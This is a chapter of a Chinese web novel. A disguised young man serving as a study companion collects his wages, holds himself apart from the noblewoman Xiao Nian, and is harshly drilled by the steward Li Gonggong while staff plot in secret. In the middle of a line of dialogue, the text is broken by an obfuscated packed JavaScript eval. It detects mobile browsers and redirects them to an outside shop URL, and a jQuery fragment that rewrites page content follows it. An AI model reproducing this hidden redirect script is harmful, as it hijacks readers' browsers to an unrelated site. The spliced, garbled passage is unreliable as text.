伴读住处，江砚澄坐在榻上出神。
他就这么离开，没和她说一声会不会生气？可是她说的那句话……
“阿砚！”小秋突然推门进来，雀跃道：“走！发月钱了。”
他二话不说拉着江砚澄往外走，院中已排起了长队，前头赵近侍正在细细核对人名，一旁的小厮负责分发月钱。
两人跟在队伍后面，缓慢前进，小秋有些兴奋，“到年底了，按照惯例是要比以往多两百钱的，阿砚你刚来，你能拿到一两四百钱呢，可以好好过个年了。”
江砚澄对这里的物价没有概念，自然也无法感同身受。他想起萧念提到的司计柳嬷嬷的儿子，忽然低声问道：“小秋，你知道柳司计有个儿子吗？”
小秋茫然，“没听说过，你问这个做什么？”
“我……”江砚澄刚要解释，小厮急忙喊道：“快点下一个！”
“哎来了！”小秋赶紧上前领月钱。
轮到江砚澄的时候，赵近侍亲自拿了月钱给他，如小秋说的一样，一两四百钱，离开时，江砚澄总觉得赵近侍的眼神很复杂，似有话要说。
“怎么样？”小秋在一旁等他，“是多少？”
江砚澄展示给他看，随后拿出一两银子给小秋，“上次押注的钱，现在还你。”
小秋伸手接过，又担忧起来，“你现在还我，那你过年怎么办？”
江砚澄笑道：“你忘了，我押注赢了许多钱。”
“对哦！”小秋傻笑地挠挠头，“哎，你方才问我……”
江砚澄注意到四周看过来的目光，勾着小秋的肩膀离开，岔开话题道：“发了月钱，晚上吃点好的？听闻天香楼的酱肘子是一绝，一起去尝尝？”
小秋被他拽着往回走，低声嘀咕，“你疯了？那是我们能消遣得起的吗？再说了，被李公公知道，准要罚你，定要饿你几日才肯罢休……”
“哎，发了月钱，这也不能吃，那也不能吃，那也太没意思了。”
回到住处，江砚澄把钱往榻上一丢，无力地躺了上去，四仰八叉的模样令小秋震惊，“阿砚，你不能这样，你这也太像女人了。”
他一边数落，一边示范了一遍正经男人的躺法。
江砚澄颇觉无语：“……”你才像女人！
他看了眼门外，没人进来，又问道：“小秋，你认识几个年长些的伴读？”他想，或许在书院待得时间久的人能知道点什么。
小秋认真说起来，“书院伴读有年龄限制，过了二十五就不要了，现在书院里待得最久的也才七八年，你打听这个做什么？若是有事想问，咱们屋内的小洛也待了三年了，他或许知道些什么。”
江砚澄陷入沉思，小洛是个机灵鬼，想要撬开他的嘴还真没那么容易。
深夜。
书院账房内点燃了一盏烛火，两道人影交头接耳，李公公搓着手，抖了抖身上的雪，不悦道：“不是说这几日当心些吗？何事非得叫我深夜前来？外头冷得很。”
柳嬷嬷不想搭理他，但还是谨慎地问了一句，“你来的路上可没人看见吧？”
“那肯定，我前后看过了，有事快说！”李公公十分不耐。
柳嬷嬷也不绕弯子，“上头让我带一句话给你……”
李公公听后，额头的皱纹加深了一分，“这不好吧？惹怒了世女于我们也没好处啊。”
柳嬷嬷冷哼一声，“既吩咐了，你做便是，哪那么多话。”
李公公撇了撇嘴，“知道了，没别的事我先走了。”
*
第二日，萧念刚踏入讲堂，抬头就瞧见那抹瘦弱的身影在她的书案旁忙活，她疑惑道：“你不是脚崴了吗？让你多歇息，怎么还过来了？”
江砚澄垂着眸，恭敬道：“小的已无大碍，多谢小姐挂怀。”
“……”
他的样子太过规矩，萧念竟有些不是滋味，她低声道：“你不用对我这么客气的。”
江砚澄却摇头说：“小姐身份贵重，小的不敢僭越。”
萧念抿唇，这是铁了心要和她划清界限吗？
也好，正合她意。
江砚澄替她研好墨后就安静地坐在一旁，从他这个角度能清晰地看见萧念的侧脸，她的眉骨长得极好，正经的时候英姿勃发，光彩照人；可当她轻挑眉梢，弯眉一笑，顷刻间便摄人心魂。
——她这样的人，在女尊世界，一定很抢手吧？
——萧念，如果我听你的话和你保持距离，会让你高兴些吗？
趁着夫子还未到，萧念想凑过去和他交代几句，又想起他方才说的话，只得按下心神，低声道：“过几日是腊祭，书院的学子们都会回去祭祀祖先，书院也会闭门，到时你没什么事就待在书院内，不要乱走知道吗？”
祭祀都是女子主持、参与，与男子无关，与江砚澄就更没关系了。
江砚澄抬眸看她一眼，又极速垂下，听话地点点头，“好。”
不知为何，萧念看着他这副柔弱的身躯总是很不放心。
接下来的几日，江砚澄依旧规矩守礼，若无必要，从不和她多说半句话，萧念内心五味杂陈，明明是自己说出口的话，人家照做了，自己还不高兴了，这是什么毛病？
可若让她改口，她也说不出来，毕竟她现在能力不足，真的没有办法给他一个好的未来。
就这样一直憋到祭祀前一日，书院早早散了学，学子们纷纷往外走，江砚澄收拾好后和萧念告别离开，萧念张了张口想说什么。
这时羽衣拿着斗篷给萧念系上，嘴上开始叮嘱，“小姐这次回去可切莫与国公爷顶嘴了，祭祀事关重大，若是犯了错，恐怕比上次罚得还重。”
萧念看着江砚澄离去的背影，几不可察地轻叹一声，“知道了。”
这个世界的规矩可真严啊，动不动就要挨板子。
秋露已然套好了车，进来催促，“小姐，该走了。”
“嗯。”
马车驶离了书院，大门缓缓合上，在沿途留下道道车辙痕迹。
管干王妈妈端了一碗腊八粥给李公公，“吃吧，特意给你留的。”
李公公笑得眼睛眯了起来，“不是明日才腊祭吗，今日就做好了？”
王妈妈睨他一眼，“明日你可就吃不到这么好的腊八粥了。”
李公公打开一看，脸上的皱纹笑成一团，“真有你的。”
“哎。”王妈妈忽然低声问道：“我们还要帮他们干多久？那姓柳的总是拿鼻孔看我，又不能把她怎么样，我实在受不了了。”
李公公吹了吹粥，往嘴里送了口，满意地“嗯”了一声，“现在都是一条船上的人，若是想走也没那么容易。”
王妈妈拍了下桌子，“谁跟她一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823629|191062||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
条船了！她背后有人，我们可没有，再继续下去，恐怕小命都不保！”
“住口！”李公公凝眉做出一个噤声的手势，转而又叹了口气，“此事再议，我先把她交代给我的做了。”
黑夜深沉，屋檐下结了根根冰凌，长短不一，迎着晨光折射出浅淡光辉。
李公公挥着鞭子，尖着嗓子道：“站好了，都挤在一起干什么，每人间隔一步排开。”
闻言，伴读们不情愿地移动脚步，哀怨道：“今日不是腊祭吗？怎么还要早起啊……”
江砚澄站的笔直，伸手戳了下即将要倒的小秋，后者立刻清醒了。
李公公踱着步，慢悠悠道：“虽说今日不用伺候学子们，可你们也不能懈怠，平日里你们都是坐的多，动的少，久而久之体格就弱了，容易生病摔跤。”
他刻意咬重后面几个字，指着江砚澄说：“上次就是你摔了一跤被世女抱回斋舍的，对吗？”
众人顺着他的话看向江砚澄，眼神略带幽怨。
江砚澄解释，“回李公公，我是摔了一跤但并未受伤，只是世女体恤……”
“好了。”李公公打断他，“说那么多做什么，你们这种体格就是容易生病，今儿这个病，明儿那个病，动则告假三五日，这传出去都说我心慈人善，管教不当。从今日起，每日早起一个时辰站桩，站够了才能去吃早饭。”
“啊~~~”人群中登时爆发出阵阵哀嚎。有人抗议，“李公公，我们从来没这么练过，一个时辰太久了吧？”
“是啊是啊，求公公怜悯，少些时候吧……”
“吵吵什么！”李公公叱骂，“刚才谁不服？把盆端上！”
他指了指一旁准备好的木盆，脑袋般大小，不算大，但各个盛满了水，平日里端起来就觉得重，更何况一边站桩一边端？
众人一瞧，纷纷闭上了嘴，只是眼刀子止不住地往江砚澄身上飞，“都怪他，走路也能摔跤……”
小秋不安地看了眼江砚澄，只见他紧抿着唇，一言不发。
“好了，别叫了，我这都是为你们好。”李公公拍拍手，“开始吧。”
众人不情不愿地开始站桩，李公公拿着鞭子来回巡视，遇到偷懒耍滑的就是一鞭子，“腰塌下去！别想着糊弄我，告诉你们，埋怨也没用，除非你们有机会能踩到我头上去，否则就老老实实的！只要待在这书院一日就得听我的。”
他晃到江砚澄面前，不怀好意地笑道：“你嘛~体格实在太差，得多锻炼锻炼才好。”说着，他端来一个盛满水的木盆，放在他的手上，“好好端着，别撒了，若撒了，就多加一炷香！”
其他人听后都倒吸一口气，屏住呼吸不敢出声，生怕下一个就到了自己。
李公公满意地扫了一眼众人，随后把鞭子丢给一旁的赵近侍，“你来守着，我去用个早饭。”
说罢，他摇着步子走了，众人见他走远后，悄无声息地松了口气，暗自放松姿态。赵近侍瞥了眼，假装没看见。
江砚澄端着的木盆，里面的水结了冰，湿冷的寒意顺着指尖爬上臂膀，没过多久，指尖已僵到麻木。四肢越发酸胀，额头憋出细密的汗，嘴唇紧抿成一条线，毫无血色。
其他人看了，眼含不忍，可转念又嘟囔起来，“活该，害得我们也受牵连。”
小秋站在一旁，眉头紧皱，不知如何是好。